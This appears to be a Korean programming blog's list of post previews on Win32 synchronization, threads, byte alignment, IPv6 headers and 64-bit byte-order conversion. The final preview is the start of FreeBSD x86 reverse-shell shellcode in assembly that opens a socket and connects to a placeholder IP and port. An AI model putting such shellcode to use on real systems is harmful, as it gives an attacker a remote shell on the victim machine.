본문 바로가기

전체 글

코드 가상화 기법 일단 문서부터 읽고 더보기
Mutex - Event Simple Code 뮤텍스 - 이벤트 사용 기본코드 DWORD _tmain(int argc, LPTSTR argv[]) { HANDLE hProduce, hConsume; mBlock.mGuard = CreateMutex(NULL, FALSE, NULL); // 두번째 인자가 TRUE 이면 생성 즉시 뮤텍스 할당 mBlock.mReady = CreateEvent(NULL, FALSE, FALSE, NULL); //mBlock.mReady = CreateEvent(NULL, TRUE, FALSE, NULL); // 두번째 인자 ManualReset 가 TRUE 이면 수동 재설정 이벤트(All Thread Signaled)-셋이벤트 후 계속 signaled 상태로 남음. FALSE 이면 자동으로 ResetEvent. // 세번.. 더보기
simple critical section 크리티컬 섹션 기본코드 typedef struct MSG_BLOCK_TAG { CRITICAL_SECTION mGuard; DWORD fReady, fStop; volatile DWORD nCons, mSequence; DWORD nLost; time_t mTimestamp; DWORD mChecksum; DWORD mData[DATA_SIZE]; } MSG_BLOCK; DWORD WINAPI Produce (void *arg) { srand ((DWORD)time(NULL)); while (!mBlock.fStop) { Sleep(rand()/100); EnterCriticalSection (&mBlock.mGuard); __try { if (!mBlock.fStop) { mBlock.fReady = .. 더보기
[ 책 정리 ] Thread - 1 스레드 Windows의 기본 실행 단위.다중 스레드 프로그래밍에서 병렬성의 장점을 극대화하기 위해 스레드 실행의 조직화 / 중재에 신경 써야 한다. 다중 스레드 동작방식에 비해, 단일 스레드 프로세스들을 동시에 실행하는 방식의 단점1. 프로세스 전환 비용2. 공유 메모리를 제외하고는 프로세스들 사이의 결합도가 높지 않다. 열린 파일과 같은 자원을 공유하기 어렵다.3. 병렬이면서 상호작용하는 태스크(하나는 계산 수행, 하나는 입출력) 관리는 어렵고 비효율적이다.4. 멀티코어 PC의 경우 각각의 스레드를 프로세서들에 할당할 수 있으며 대체로 성능 향상에 도움이 된다. 관점"스레드는 프로그램의 설계와 구현을 단순화한다","몇몇 규칙과 모형에 따르면 성능 향상과 신뢰성, 가독성, 유지보수성을 높일 수 있다." .. 더보기
byte alignment 디스어셈블리를 하다 보면 알게 되는 '4바이트 정렬'패킷을 다루다 보면 나는 분명히 구조체를 5바이트로 만들어서 쐈는데 받을 때에는 8바이트로 받는 일이 있다.흔히 byte alignment 이라고 이야기한다. 최적화에 관련한 PPT 자료. 짧지만 뭐.. 으레 #pragma pack(1) ... #pragma pack() 으로 alignment 를 풀어준다.__packed 를 디파인으로 PACKED 라고 쓰기도 하고.GCC 에서는 __attribute__((packed)) 라고도 쓴다. 혹 맞추고 싶은 alignment 가 있다면 __attribute__((align(4))) 걍 pragma pack 이 유지보수에도 가장 편한 방법.아래는 1바이트 정렬에 대한 글 [1byte alignment 이야기] .. 더보기
[ Network ] IPv6.h // ndp.h ndp - icmpv6 header 5종ipv6 header 등 /** * @file ipv6.h * @brief IPv6 (Internet Protocol Version 6) * * @section License * * Copyright (C) 2010-2013 Oryx Embedded. All rights reserved. * * This file is part of CycloneTCP Open. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundati.. 더보기
htonl, htohl for 64bit // htonl함수가 기본 int밖에 지원하지 않기 때문에 __int64를 지원하는 함수를 찾기 시작~// htonll에서 나온 값만으로는 정상적으로 동작하는지 알수가 없었음.// htonll사용해 값 변환 후 ntohll을 사용해서 원래의 값이 나오는지 확인하는 것으로 제대로 동작한다고 판단.// 여러개의 함수를 써본 결과 아래의 것이 가장 간단하고 제대로 동작한다고 판단해서 이것으로 사용하기로 정함. #include #include #define htonll(x) \ ((((x) & 0xff00000000000000LL) >> 56) | \ (((x) & 0x00ff000000000000LL) >> 40) | \ (((x) & 0x0000ff0000000000LL) >> 24) | \ (((x) & .. 더보기
[shellcode] FreeBSD x86 Reverse Read shell .globl main main: push %ebp mov %esp, %ebp sub $0x20, %esp xor %eax, %eax xor %ebx, %ebx xor %ecx, %ecx xor %edx, %edx push %ecx inc %ecx push %ecx inc %ecx push %ecx mov $0x61, %al push %eax int $0x80 mov %eax, %esi # socketaddr_in push $0xGHEFCDAB # IP LittleEndian pushw $0x3412 # port l.e pushw $0x02AA mov %esp, %ebx # connect mov $0x10, %cl push %ecx push %ebx push %eax mov $0x62, %al push %.. 더보기